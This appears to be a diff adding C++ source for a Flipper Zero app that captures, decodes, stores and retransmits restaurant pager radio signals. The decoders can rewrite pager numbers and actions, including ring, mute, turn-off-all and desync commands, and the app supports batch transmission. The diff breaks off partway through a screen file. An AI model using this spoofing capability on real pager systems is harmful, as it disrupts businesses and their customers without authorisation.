+        for(size_t i = 0; i < knownStationsSize; i++) {
+            if(knownStations[i].name != NULL) {
+                delete knownStations[i].name;
+            }
+        }
+
+        delete[] knownStations;
+
+        knownStationsLoaded = false;
+        knownStationsSize = 0;
+    }
+
+    KnownStationData buildKnownStationWithName(NamedPagerData pager) {
+        KnownStationData data = KnownStationData();
+        data.frequency = pager.storedData.frequency;
+        data.protocol = pager.storedData.protocol;
+        data.decoder = pager.storedData.decoder;
+        data.station = decoders[pager.storedData.decoder]->GetStation(pager.storedData.data);
+        data.name = pager.name;
+        return data;
+    }
+
+    KnownStationData buildKnownStationWithoutName(StoredPagerData* pager) {
+        KnownStationData data = KnownStationData();
+        data.frequency = pager->frequency;
+        data.protocol = pager->protocol;
+        data.decoder = pager->decoder;
+        data.station = decoders[pager->decoder]->GetStation(pager->data);
+        data.name = NULL;
+        return data;
+    }
+
+    PagerDecoder* getDecoder(StoredPagerData* pagerData) {
+        for(size_t i = 0; i < decodersCount; i++) {
+            pagerData->decoder = i;
+            if(IsKnown(pagerData)) {
+                return decoders[i];
+            }
+        }
+
+        for(size_t i = 0; i < decodersCount; i++) {
+            if(decoders[i]->GetPager(pagerData->data) <= config->MaxPagerForBatchOrDetection) {
+                return decoders[i];
+            }
+        }
+
+        return decoders[0];
+    }
+
+    void addPager(StoredPagerData data) {
+        if(nextPagerIndex == pagersArraySize) {
+            pagersArraySize += PAGERS_ARRAY_SIZE_MULTIPLIER;
+            StoredPagerData* newPagers = new StoredPagerData[pagersArraySize];
+            for(int i = 0; i < nextPagerIndex; i++) {
+                newPagers[i] = pagers[i];
+            }
+            delete[] pagers;
+            pagers = newPagers;
+        }
+        pagers[nextPagerIndex++] = data;
+    }
+
+public:
+    PagerReceiver(AppConfig* config) {
+        this->config = config;
+
+        for(size_t i = 0; i < protocolsCount; i++) {
+            protocols[i]->id = i;
+        }
+
+        for(size_t i = 0; i < decodersCount; i++) {
+            decoders[i]->id = i;
+        }
+
+        SetUserCategory(config->CurrentUserCategory);
+    }
+
+    void SetUserCategory(String* category) {
+        SetUserCategory(category != NULL ? category->cstr() : NULL);
+    }
+
+    const char* GetCurrentUserCategory() {
+        return userCategory;
+    }
+
+    void SetUserCategory(const char* category) {
+        userCategory = category;
+    }
+
+    PagerProtocol* GetProtocolByName(const char* systemProtocolName) {
+        for(size_t i = 0; i < protocolsCount; i++) {
+            if(strcmp(systemProtocolName, protocols[i]->GetSystemName()) == 0) {
+                return protocols[i];
+            }
+        }
+
+        return NULL;
+    }
+
+    PagerDecoder* GetDecoderByName(const char* shortName) {
+        for(size_t i = 0; i < decodersCount; i++) {
+            if(strcmp(shortName, decoders[i]->GetShortName()) == 0) {
+                return decoders[i];
+            }
+        }
+
+        return NULL;
+    }
+
+    void ReloadKnownStations() {
+        unloadKnownStations();
+        loadKnownStations();
+    }
+
+    void LoadStationsFromDirectory(
+        CategoryType categoryType,
+        const char* category,
+        function<void(ReceivedPagerData*)> pagerHandler
+    ) {
+        AppFileSysytem appFilesystem;
+        forward_list<NamedPagerData> stations;
+        bool withNames = !knownStationsLoaded && config->SavedStrategy == SHOW_NAME;
+
+        int count = appFilesystem.GetStationsFromDirectory(&stations, this, categoryType, category, withNames);
+
+        delete[] pagers;
+        pagers = new StoredPagerData[count];
+
+        if(!knownStationsLoaded) {
+            knownStations = new KnownStationData[count];
+        }
+
+        for(int i = 0; i < count; i++) {
+            NamedPagerData pagerData = stations.front();
+            pagers[i] = pagerData.storedData;
+            if(!knownStationsLoaded) {
+                knownStations[i] = buildKnownStationWithName(pagerData);
+            }
+            stations.pop_front();
+
+            pagerHandler(new ReceivedPagerData(PagerGetter(i), i, true));
+        }
+
+        if(!knownStationsLoaded) {
+            knownStationsSize = count;
+        }
+
+        nextPagerIndex = count;
+        pagersArraySize = count;
+        knownStationsLoaded = true;
+    }
+
+    PagerDataGetter PagerGetter(size_t index) {
+        return [this, index]() { return &pagers[index]; };
+    }
+
+    String* GetName(StoredPagerData* pager) {
+        uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
+        for(size_t i = 0; i < knownStationsSize; i++) {
+            if(knownStations[i].toInt() == stationId) {
+                return knownStations[i].name;
+            }
+        }
+        return NULL;
+    }
+
+    bool IsKnown(StoredPagerData* pager) {
+        uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
+        for(size_t i = 0; i < knownStationsSize; i++) {
+            if(knownStations[i].toInt() == stationId) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    ReceivedPagerData* Receive(SubGhzReceivedData* data) {
+        PagerProtocol* protocol = GetProtocolByName(data->GetProtocolName());
+        if(protocol == NULL) {
+            return NULL;
+        }
+
+        int index = -1;
+        uint32_t dataHash = data->GetHash();
+
+        for(size_t i = 0; i < nextPagerIndex; i++) {
+            if(pagers[i].data == dataHash && pagers[i].protocol == protocol->id) {
+                if(pagers[i].repeats < MAX_REPEATS) {
+                    pagers[i].repeats++;
+                } else {
+                    return NULL; // no need to modify element any more
+                }
+                index = i;
+                break;
+            }
+        }
+
+        bool isNew = index < 0;
+        if(isNew) {
+            if(data->GetFrequency() != lastFrequency) {
+                lastFrequencyIndex = FrequencyManager::GetInstance()->GetFrequencyIndex(data->GetFrequency());
+                lastFrequency = data->GetFrequency();
+            }
+
+            StoredPagerData storedData = StoredPagerData();
+            storedData.data = dataHash;
+            storedData.protocol = protocol->id;
+            storedData.repeats = 1;
+            storedData.te = data->GetTE();
+            storedData.frequency = lastFrequencyIndex;
+            storedData.decoder = getDecoder(&storedData)->id;
+            storedData.edited = false;
+
+            if(config->SavedStrategy == HIDE && IsKnown(&storedData)) {
+                return NULL;
+            }
+
+            if(config->AutosaveFoundSignals) {
+                AppFileSysytem().AutoSave(&storedData, decoders[storedData.decoder], protocol, lastFrequency);
+            }
+
+            index = nextPagerIndex;
+            addPager(storedData);
+        }
+
+        return new ReceivedPagerData(PagerGetter(index), index, isNew);
+    }
+
+    ~PagerReceiver() {
+        for(PagerProtocol* protocol : protocols) {
+            delete protocol;
+        }
+
+        for(PagerDecoder* decoder : decoders) {
+            delete decoder;
+        }
+
+        delete[] pagers;
+        unloadKnownStations();
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/PagerSerializer.hpp

@@ -0,0 +1,100 @@
+#pragma once
+
+#include "ProtocolAndDecoderProvider.hpp"
+#include "lib/String.hpp"
+#include "lib/file/FileManager.hpp"
+#include "lib/file/FlipperFile.hpp"
+
+#include "data/StoredPagerData.hpp"
+#include "lib/hardware/subghz/FrequencyManager.hpp"
+#include "protocol/PagerProtocol.hpp"
+#include "decoder/PagerDecoder.hpp"
+
+#define KEY_PAGER_STATION_NAME "StationName"
+#define KEY_PAGER_FREQUENCY    "Frequency"
+#define KEY_PAGER_PROTOCOL     "Protocol"
+#define KEY_PAGER_DECODER      "Decoder"
+#define KEY_PAGER_DATA         "Data"
+#define KEY_PAGER_TE           "TE"
+
+#define NAME_MIN_LENGTH 2
+#define NAME_MAX_LENGTH 20
+
+class PagerSerializer {
+private:
+public:
+    String* GetFilename(StoredPagerData* pager) {
+        return new String("%06X.fff", pager->data);
+    }
+
+    void SavePagerData(
+        FileManager* fileManager,
+        const char* dir,
+        const char* stationName,
+        StoredPagerData* pager,
+        PagerDecoder* decoder,
+        PagerProtocol* protocol,
+        uint32_t frequency
+    ) {
+        String* fileName = GetFilename(pager);
+        FlipperFile* stationFile = fileManager->OpenWrite(dir, fileName->cstr());
+
+        stationFile->WriteString(KEY_PAGER_STATION_NAME, stationName);
+        stationFile->WriteUInt32(KEY_PAGER_FREQUENCY, frequency);
+        stationFile->WriteString(KEY_PAGER_PROTOCOL, protocol->GetSystemName());
+        stationFile->WriteString(KEY_PAGER_DECODER, decoder->GetShortName());
+        stationFile->WriteUInt32(KEY_PAGER_TE, pager->te);
+        stationFile->WriteHex(KEY_PAGER_DATA, pager->data);
+
+        delete stationFile;
+        delete fileName;
+    }
+
+    String* LoadOnlyStationName(FileManager* fileManager, const char* dir, StoredPagerData* pager) {
+        String* filename = GetFilename(pager);
+        FlipperFile* stationFile = fileManager->OpenRead(dir, filename->cstr());
+        delete filename;
+
+        String* stationName = NULL;
+        if(stationFile != NULL) {
+            stationName = new String();
+            stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
+            delete stationFile;
+        }
+        return stationName;
+    }
+
+    StoredPagerData LoadPagerData(
+        FileManager* fileManager,
+        String* stationName,
+        const char* dir,
+        const char* fileName,
+        ProtocolAndDecoderProvider* pdProvider
+    ) {
+        FlipperFile* stationFile = fileManager->OpenRead(dir, fileName);
+
+        uint32_t te = 0;
+        uint64_t hex = 0;
+        uint32_t frequency = 0;
+        String protocolName;
+        String decoderName;
+
+        stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
+        stationFile->ReadUInt32(KEY_PAGER_FREQUENCY, &frequency);
+        stationFile->ReadString(KEY_PAGER_PROTOCOL, &protocolName);
+        stationFile->ReadString(KEY_PAGER_DECODER, &decoderName);
+        stationFile->ReadUInt32(KEY_PAGER_TE, &te);
+        stationFile->ReadHex(KEY_PAGER_DATA, &hex);
+
+        delete stationFile;
+
+        StoredPagerData pager;
+        pager.data = hex;
+        pager.te = te;
+        pager.edited = false;
+        pager.frequency = FrequencyManager::GetInstance()->GetFrequencyIndex(frequency);
+        pager.protocol = pdProvider->GetProtocolByName(protocolName.cstr())->id;
+        pager.decoder = pdProvider->GetDecoderByName(decoderName.cstr())->id;
+        return pager;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/ProtocolAndDecoderProvider.hpp

@@ -0,0 +1,12 @@
+#pragma once
+
+#include "protocol/PagerProtocol.hpp"
+#include "decoder/PagerDecoder.hpp"
+
+class ProtocolAndDecoderProvider {
+public:
+    virtual PagerProtocol* GetProtocolByName(const char* name) = 0;
+    virtual PagerDecoder* GetDecoderByName(const char* name) = 0;
+    virtual ~ProtocolAndDecoderProvider() {
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/SavedStationStrategy.hpp

@@ -0,0 +1,9 @@
+#pragma once
+
+enum SavedStationStrategy {
+    IGNORE, // don't check if station is saved, show as unknown
+    SHOW_NAME, // show station name instead of hex and station number
+    HIDE, // hide all station signals from the search
+
+    SavedStationStrategyValuesCount,
+};

applications/system/FZ-ChiefCooker/app/pager/data/KnownStationData.hpp

@@ -0,0 +1,28 @@
+#pragma once
+
+#include "lib/String.hpp"
+#include <cstdint>
+
+struct KnownStationData {
+    uint8_t frequency : 8;
+    uint8_t protocol  : 2;
+    uint8_t decoder   : 4;
+    uint8_t unused    : 2; // align
+    uint16_t station  : 16;
+    String* name;
+
+public:
+    uint32_t toInt();
+};
+
+union KnownStationDataUnion {
+    KnownStationData stationData;
+    uint32_t intValue;
+};
+
+uint32_t KnownStationData::toInt() {
+    KnownStationDataUnion u;
+    u.stationData = *this;
+    u.stationData.unused = 0;
+    return u.intValue;
+}

applications/system/FZ-ChiefCooker/app/pager/data/NamedPagerData.hpp

@@ -0,0 +1,9 @@
+#pragma once
+
+#include "StoredPagerData.hpp"
+#include "lib/String.hpp"
+
+struct NamedPagerData {
+    StoredPagerData storedData;
+    String* name;
+};

applications/system/FZ-ChiefCooker/app/pager/data/ReceivedPagerData.hpp

@@ -0,0 +1,30 @@
+#pragma once
+
+#include <cstdint>
+#include "StoredPagerData.hpp"
+
+class ReceivedPagerData {
+private:
+    PagerDataGetter getStoredData;
+    uint32_t index;
+    bool isNew;
+
+public:
+    ReceivedPagerData(PagerDataGetter storedDataGetter, uint32_t index, bool isNew) {
+        this->getStoredData = storedDataGetter;
+        this->index = index;
+        this->isNew = isNew;
+    }
+
+    bool IsNew() {
+        return isNew;
+    }
+
+    uint32_t GetIndex() {
+        return index;
+    }
+
+    StoredPagerData* GetData() {
+        return getStoredData();
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/data/StoredPagerData.hpp

@@ -0,0 +1,33 @@
+#pragma once
+
+#include <cstdint>
+#include <functional>
+
+using namespace std;
+
+struct StoredPagerData {
+    // first 4-byte
+    uint32_t data     : 25;
+    uint8_t repeats   : 7;
+
+    // second 4-byte
+    // byte 1
+    uint8_t frequency : 8;
+
+    // byte 2
+    uint8_t decoder   : 4; // max 16 decoders, enough for now
+    uint8_t protocol  : 2; // max 4 protocols (only )
+    bool edited       : 1;
+    uint8_t           : 0;
+
+    // byte 3-4
+    uint16_t te       : 11; // 2048 values should be enough
+
+    // 5 bits still unused
+};
+
+// StoredPagerData is short-living because it's stored as array of stack allocated objects in PagerReceiver class.
+// If array size changes, it reallocates all the objects on the new addresses in memory. We could store pointers in array instead of stack objects,
+// but it would take more memory which is not acceptable (sizeof(StoredPagerData) + sizeof(StoredPagerData*)) vs sizeof(StoredPagerData).
+// That's why we pass the getter instead of object itself, to make sure we always have the right pointer to the StoredPagerData structure.
+typedef function<StoredPagerData*()> PagerDataGetter;

applications/system/FZ-ChiefCooker/app/pager/decoder/L8RDecoder.hpp

@@ -0,0 +1,81 @@
+#pragma once
+
+#include "PagerDecoder.hpp"
+
+#define T111_ACTION_RING 0
+
+// Retekess T111 / L8R
+// L8R — (L)ast (8) bits (R)eversed order (for pager number)
+// seems to be Retekess T111 encoding, but cannot check it due to lack of information
+// So I decided to keep it's name as L8R
+class L8RDecoder : public PagerDecoder {
+private:
+    const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station (any maybe more)
+    const uint32_t actionMask = 0b11100000000; // next 3 bits are action (possibly, just my guess, may be they are also station)
+    const uint32_t pagerMask = 0b11111111; // and the last 8 bits seem to be pager number
+
+    const uint8_t stationBitCount = 13;
+    const uint8_t stationOffset = 11;
+
+    const uint8_t actionBitCount = 3;
+    const uint8_t actionOffset = 8;
+
+    const uint8_t pagerBitCount = 8;
+
+public:
+    const char* GetShortName() {
+        return "L8R";
+    }
+
+    uint16_t GetStation(uint32_t data) {
+        uint32_t stationReversed = (data & stationMask) >> stationOffset;
+        return reverseBits(stationReversed, stationBitCount);
+    }
+
+    uint16_t GetPager(uint32_t data) {
+        uint32_t pagerReversed = data & pagerMask;
+        return reverseBits(pagerReversed, pagerBitCount);
+    }
+
+    uint8_t GetActionValue(uint32_t data) {
+        uint32_t actionReversed = (data & actionMask) >> actionOffset;
+        return reverseBits(actionReversed, actionBitCount);
+    }
+
+    PagerAction GetAction(uint32_t data) {
+        switch(GetActionValue(data)) {
+        case T111_ACTION_RING:
+            return RING;
+
+        default:
+            return UNKNOWN;
+        }
+    }
+
+    uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
+        return (data & ~pagerMask) | reverseBits(pagerNum, pagerBitCount);
+    }
+
+    uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
+        uint32_t actionCleared = data & ~actionMask;
+        return actionCleared | (reverseBits(actionValue, actionBitCount) << actionOffset);
+    }
+
+    uint32_t SetAction(uint32_t data, PagerAction action) {
+        switch(action) {
+        case RING:
+            return SetActionValue(data, T111_ACTION_RING);
+
+        default:
+            return data;
+        }
+    }
+
+    bool IsSupported(PagerAction) {
+        return false;
+    }
+
+    uint8_t GetActionsCount() {
+        return 8;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/decoder/L8SDecoder.hpp

@@ -0,0 +1,61 @@
+#pragma once
+
+#include "core/core_defines.h"
+
+#include "PagerDecoder.hpp"
+
+// iBells ZJ-68 / L8S
+// L8S — (L)ast (8) bits (S)traight order (non-reversed) (for pager number)
+class L8SDecoder : public PagerDecoder {
+private:
+    const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station (let it be)
+    const uint32_t actionMask = 0b11100000000; // next 3 bits are action (possibly, just my guess, may be they are also station)
+    const uint32_t pagerMask = 0b11111111; // and the last 8 bits should be enough for pager number
+
+    const uint8_t stationOffset = 11;
+    const uint8_t actionOffset = 8;
+
+public:
+    const char* GetShortName() {
+        return "L8S";
+    }
+
+    uint16_t GetStation(uint32_t data) {
+        return (data & stationMask) >> stationOffset;
+    }
+
+    uint16_t GetPager(uint32_t data) {
+        return data & pagerMask;
+    }
+
+    uint8_t GetActionValue(uint32_t data) {
+        return (data & actionMask) >> actionOffset;
+    }
+
+    PagerAction GetAction(uint32_t data) {
+        UNUSED(data);
+        return UNKNOWN;
+    }
+
+    uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
+        return (data & ~pagerMask) | pagerNum;
+    }
+
+    uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
+        uint32_t actionCleared = data & ~actionMask;
+        return actionCleared | (actionValue << actionOffset);
+    }
+
+    uint32_t SetAction(uint32_t data, PagerAction action) {
+        UNUSED(action);
+        return data;
+    }
+
+    bool IsSupported(PagerAction) {
+        return false;
+    }
+
+    uint8_t GetActionsCount() {
+        return 8;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/decoder/PagerDecoder.hpp

@@ -0,0 +1,52 @@
+#pragma once
+
+#include <cstdint>
+#include "../PagerAction.hpp"
+
+using namespace std;
+
+class PagerDecoder {
+public:
+    uint8_t id;
+    virtual const char* GetShortName() = 0;
+
+    virtual uint16_t GetStation(uint32_t data) = 0;
+
+    virtual uint16_t GetPager(uint32_t data) = 0;
+    virtual uint32_t SetPager(uint32_t data, uint16_t pagerNum) = 0;
+
+    virtual uint8_t GetActionValue(uint32_t data) = 0;
+    virtual PagerAction GetAction(uint32_t data) = 0;
+    virtual uint32_t SetAction(uint32_t data, PagerAction action) = 0;
+    virtual uint32_t SetActionValue(uint32_t data, uint8_t action) = 0;
+    virtual bool IsSupported(PagerAction action) = 0;
+    virtual uint8_t GetActionsCount() = 0;
+
+    uint8_t GetSupportedActionsCount() {
+        uint8_t count = 0;
+        for(uint8_t i = 0; i < PagerActionCount; i++) {
+            if(IsSupported(static_cast<enum PagerAction>(i))) {
+                count++;
+            }
+        }
+        return count;
+    }
+
+    virtual ~PagerDecoder() {
+    }
+
+protected:
+    uint32_t reverseBits(uint32_t number, int count) {
+        uint32_t rev = 0;
+
+        while(count-- > 0) {
+            rev <<= 1;
+            if((number & 1) == 1) {
+                rev ^= 1;
+            }
+            number >>= 1;
+        }
+
+        return rev;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/decoder/Td157Decoder.hpp

@@ -0,0 +1,87 @@
+#pragma once
+
+#include "PagerDecoder.hpp"
+
+#define TD157_ACTION_RING         0b0010
+#define TD157_ACTION_TURN_OFF_ALL 0b1111
+#define TD157_PAGER_TURN_OFF_ALL  999
+
+// Retekess TD157
+class Td157Decoder : public PagerDecoder {
+private:
+    const uint32_t stationMask = 0b111111111100000000000000; // leading 10 bits (of 24) are station
+    const uint32_t pagerMask = 0b11111111110000; // next 10 bits are pager
+    const uint32_t actionMask = 0b1111; // and the last 4 bits is action
+
+    const uint8_t stationOffset = 14;
+    const uint8_t pagerOffset = 4;
+
+public:
+    const char* GetShortName() {
+        return "TD157";
+    }
+
+    uint16_t GetStation(uint32_t data) {
+        uint32_t station = (data & stationMask) >> stationOffset;
+        return (uint16_t)station;
+    }
+
+    uint16_t GetPager(uint32_t data) {
+        uint32_t pager = (data & pagerMask) >> pagerOffset;
+        return (uint16_t)pager;
+    }
+
+    uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
+        uint32_t pagerClearedData = data & ~pagerMask;
+        return pagerClearedData | (pagerNum << pagerOffset);
+    }
+
+    uint8_t GetActionValue(uint32_t data) {
+        return data & actionMask;
+    }
+
+    PagerAction GetAction(uint32_t data) {
+        switch(GetActionValue(data)) {
+        case TD157_ACTION_RING:
+            return RING;
+        case TD157_ACTION_TURN_OFF_ALL:
+            if(GetPager(data) == TD157_PAGER_TURN_OFF_ALL) {
+                return TURN_OFF_ALL;
+            }
+            return UNKNOWN;
+        default:
+            return UNKNOWN;
+        }
+    }
+
+    uint32_t SetAction(uint32_t data, PagerAction action) {
+        switch(action) {
+        case RING:
+            return SetActionValue(data, TD157_ACTION_RING);
+        case TURN_OFF_ALL:
+            return SetActionValue(SetPager(data, TD157_PAGER_TURN_OFF_ALL), TD157_ACTION_TURN_OFF_ALL);
+        default:
+            return data;
+        }
+    }
+
+    virtual uint32_t SetActionValue(uint32_t data, uint8_t action) {
+        return (data & ~actionMask) | action;
+    }
+
+    bool IsSupported(PagerAction action) {
+        switch(action) {
+        case RING:
+        case TURN_OFF_ALL:
+            return true;
+
+        default:
+            return false;
+        }
+        return false;
+    }
+
+    uint8_t GetActionsCount() {
+        return actionMask + 1;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/decoder/Td165Decoder.hpp

@@ -0,0 +1,98 @@
+#pragma once
+
+#include "PagerDecoder.hpp"
+
+#define TD165_ACTION_RING        0
+#define TD165_ACTION_MUTE        1
+#define TD165_PAGER_TURN_OFF_ALL 1005
+
+// Retekess TD165/T119
+class Td165Decoder : public PagerDecoder {
+private:
+    const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station
+    const uint32_t pagerMask = 0b11111111110; // next 10 bits are pager
+    const uint32_t actionMask = 0b1; // and the last 1 bit is action
+
+    const uint8_t stationBitCount = 13;
+    const uint8_t stationOffset = 11;
+
+    const uint8_t pagerBitCount = 10;
+    const uint8_t pagerOffset = 1;
+
+public:
+    const char* GetShortName() {
+        return "TD165";
+    }
+
+    uint16_t GetStation(uint32_t data) {
+        uint32_t stationReversed = (data & stationMask) >> stationOffset;
+        return reverseBits(stationReversed, stationBitCount);
+    }
+
+    uint16_t GetPager(uint32_t data) {
+        uint32_t pagerReversed = (data & pagerMask) >> pagerOffset;
+        return reverseBits(pagerReversed, pagerBitCount);
+    }
+
+    uint8_t GetActionValue(uint32_t data) {
+        return data & actionMask;
+    }
+
+    PagerAction GetAction(uint32_t data) {
+        switch(GetActionValue(data)) {
+        case TD165_ACTION_RING:
+            if(GetPager(data) == TD165_PAGER_TURN_OFF_ALL) {
+                return TURN_OFF_ALL;
+            }
+            return RING;
+
+        case TD165_ACTION_MUTE:
+            return MUTE;
+
+        default:
+            return UNKNOWN;
+        }
+    }
+
+    uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
+        uint32_t pagerCleared = data & ~pagerMask;
+        return pagerCleared | (reverseBits(pagerNum, pagerBitCount) << pagerOffset);
+    }
+
+    uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
+        return (data & ~actionMask) | actionValue;
+    }
+
+    uint32_t SetAction(uint32_t data, PagerAction action) {
+        switch(action) {
+        case RING:
+            return SetActionValue(data, TD165_ACTION_RING);
+
+        case MUTE:
+            return SetActionValue(data, TD165_ACTION_MUTE);
+
+        case TURN_OFF_ALL:
+            return SetActionValue(SetPager(data, TD165_PAGER_TURN_OFF_ALL), TD165_ACTION_RING);
+
+        default:
+            return data;
+        }
+    }
+
+    bool IsSupported(PagerAction action) {
+        switch(action) {
+        case RING:
+        case MUTE:
+        case TURN_OFF_ALL:
+            return true;
+
+        default:
+            return false;
+        }
+        return false;
+    }
+
+    uint8_t GetActionsCount() {
+        return actionMask + 1;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/decoder/Td174Decoder.hpp

@@ -0,0 +1,97 @@
+#pragma once
+
+#include "PagerDecoder.hpp"
+
+#define TD174_ACTION_RING   0
+#define TD174_ACTION_DESYNC 3
+#define TD174_PAGER_DESYNC  237
+
+// Retekess TD174
+class Td174Decoder : public PagerDecoder {
+private:
+    const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station
+    const uint32_t actionMask = 0b11000000000; // next 2 bits are action
+    const uint32_t pagerMask = 0b111111111; // and the last 9 bits is pager
+
+    const uint8_t stationBitCount = 13;
+    const uint8_t stationOffset = 11;
+
+    const uint8_t actionBitCount = 2;
+    const uint8_t actionOffset = 9;
+
+    const uint8_t pagerBitCount = 9;
+
+public:
+    const char* GetShortName() {
+        return "TD174";
+    }
+
+    uint16_t GetStation(uint32_t data) {
+        uint32_t stationReversed = (data & stationMask) >> stationOffset;
+        return reverseBits(stationReversed, stationBitCount);
+    }
+
+    uint16_t GetPager(uint32_t data) {
+        uint32_t pagerReversed = data & pagerMask;
+        return reverseBits(pagerReversed, pagerBitCount);
+    }
+
+    uint8_t GetActionValue(uint32_t data) {
+        uint32_t actionReversed = (data & actionMask) >> actionOffset;
+        return reverseBits(actionReversed, actionBitCount);
+    }
+
+    PagerAction GetAction(uint32_t data) {
+        switch(GetActionValue(data)) {
+        case TD174_ACTION_RING:
+            return RING;
+
+        case TD174_ACTION_DESYNC:
+            if(GetPager(data) == TD174_PAGER_DESYNC) {
+                return DESYNC;
+            }
+            return UNKNOWN;
+
+        default:
+            return UNKNOWN;
+        }
+    }
+
+    uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
+        return (data & ~pagerMask) | reverseBits(pagerNum, pagerBitCount);
+    }
+
+    uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
+        uint32_t actionCleared = data & ~actionMask;
+        return actionCleared | (reverseBits(actionValue, actionBitCount) << actionOffset);
+    }
+
+    uint32_t SetAction(uint32_t data, PagerAction action) {
+        switch(action) {
+        case RING:
+            return SetActionValue(data, TD174_ACTION_RING);
+
+        case DESYNC:
+            return SetActionValue(SetPager(data, TD174_PAGER_DESYNC), TD174_ACTION_DESYNC);
+
+        default:
+            return data;
+        }
+    }
+
+    bool IsSupported(PagerAction action) {
+        switch(action) {
+        case RING:
+        case DESYNC:
+            return true;
+
+        default:
+            return false;
+        }
+        return false;
+    }
+
+    uint8_t GetActionsCount() {
+        return 4;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/protocol/PagerProtocol.hpp

@@ -0,0 +1,16 @@
+#pragma once
+
+#include <cstdint>
+
+#include "lib/hardware/subghz/SubGhzPayload.hpp"
+
+class PagerProtocol {
+public:
+    uint8_t id;
+    virtual const char* GetSystemName() = 0;
+    virtual int GetFallbackTE() = 0;
+    virtual int GetMaxTE() = 0;
+    virtual SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) = 0;
+    virtual ~PagerProtocol() {
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/protocol/PrincetonProtocol.hpp

@@ -0,0 +1,32 @@
+#pragma once
+
+#include <stream/stream.h>
+
+#include "PagerProtocol.hpp"
+
+class PrincetonProtocol : public PagerProtocol {
+public:
+    const char* GetSystemName() {
+        return "Princeton";
+    }
+
+    int GetFallbackTE() {
+        return 212;
+    }
+
+    int GetMaxTE() {
+        return 1200;
+    }
+
+    SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) {
+        SubGhzPayload* payload = new SubGhzPayload(GetSystemName());
+        payload->SetBits(24);
+        payload->SetKey(data);
+        payload->SetTE(te);
+        // somewhy repeats are always 10 even if we set it, so use here "software repeats" instead
+        payload->SetSoftwareRepeats(ceil(repeats / 10.0));
+        payload->SetRepeat(10); // just in case they'll fix it
+
+        return payload;
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/protocol/Smc5326Protocol.hpp

@@ -0,0 +1,26 @@
+#pragma once
+
+#include "PagerProtocol.hpp"
+
+class Smc5326Protocol : public PagerProtocol {
+    const char* GetSystemName() {
+        return "SMC5326";
+    }
+
+    int GetFallbackTE() {
+        return 326;
+    }
+
+    int GetMaxTE() {
+        return 900;
+    }
+
+    SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) {
+        SubGhzPayload* payload = new SubGhzPayload(GetSystemName());
+        payload->SetBits(25);
+        payload->SetKey(data);
+        payload->SetTE(te);
+        payload->SetRepeat(repeats);
+        return payload;
+    }
+};

applications/system/FZ-ChiefCooker/app/screen/BatchTransmissionScreen.hpp

@@ -0,0 +1,33 @@
+#pragma once
+
+#include "lib/String.hpp"
+#include "lib/ui/view/UiView.hpp"
+#include "lib/ui/view/ProgressbarPopupUiView.hpp"
+
+class BatchTransmissionScreen {
+private:
+    ProgressbarPopupUiView* popup;
+    String statusStr;
+
+public:
+    BatchTransmissionScreen(int pagersTotal) {
+        popup = new ProgressbarPopupUiView("Transmitting...");
+        SetProgress(0, pagersTotal);
+        popup->SetOnDestroyHandler(HANDLER(&BatchTransmissionScreen::destroy));
+    }
+
+    void SetProgress(int pagerNum, int pagersTotal) {
+        float progressValue = (float)pagerNum / pagersTotal;
+        popup->SetProgress(statusStr.format("Pager %d / %d", pagerNum, pagersTotal), progressValue);
+    }
+
+private:
+    void destroy() {
+        delete this;
+    }
+
+public:
+    UiView* GetView() {
+        return popup;
+    }
+};

applications/system/FZ-ChiefCooker/app/screen/EditPagerScreen.hpp

@@ -0,0 +1,313 @@
+#pragma once
+
+#include "SelectCategoryScreen.hpp"
+#include "lib/HandlerContext.hpp"
+#include "lib/String.hpp"
+#include "app/pager/PagerReceiver.hpp"
+#include "lib/hardware/subghz/SubGhzModule.hpp"
+#include "lib/ui/view/UiView.hpp"
+#include "lib/ui/view/VariableItemListUiView.hpp"
+#include "lib/ui/view/TextInputUiView.hpp"
+#include "lib/ui/view/DialogUiView.hpp"
+#include "lib/FlipperDolphin.hpp"
+#include "lib/ui/UiManager.hpp"
+#include "app/AppFileSystem.hpp"
+#include "app/pager/PagerSerializer.hpp"
+
+#define TE_DIV 10
+
+class EditPagerScreen {
+private:
+    AppConfig* config;
+    SubGhzModule* subghz;
+    PagerReceiver* receiver;
+    PagerDataGetter getPager;
+    VariableItemListUiView* varItemList;
+
+    UiVariableItem* encodingItem = NULL;
+    UiVariableItem* stationItem = NULL;
+    UiVariableItem* pagerItem = NULL;
+    UiVariableItem* actionItem = NULL;
+    UiVariableItem* hexItem = NULL;
+    UiVariableItem* protocolItem = NULL;
+    UiVariableItem* frequencyItem = NULL;
+    UiVariableItem* teItem = NULL;
+    UiVariableItem* repeatsItem = NULL;
+
+    UiVariableItem* saveAsItem = NULL;
+    UiVariableItem* deleteItem = NULL;
+
+    String stationStr;
+    String pagerStr;
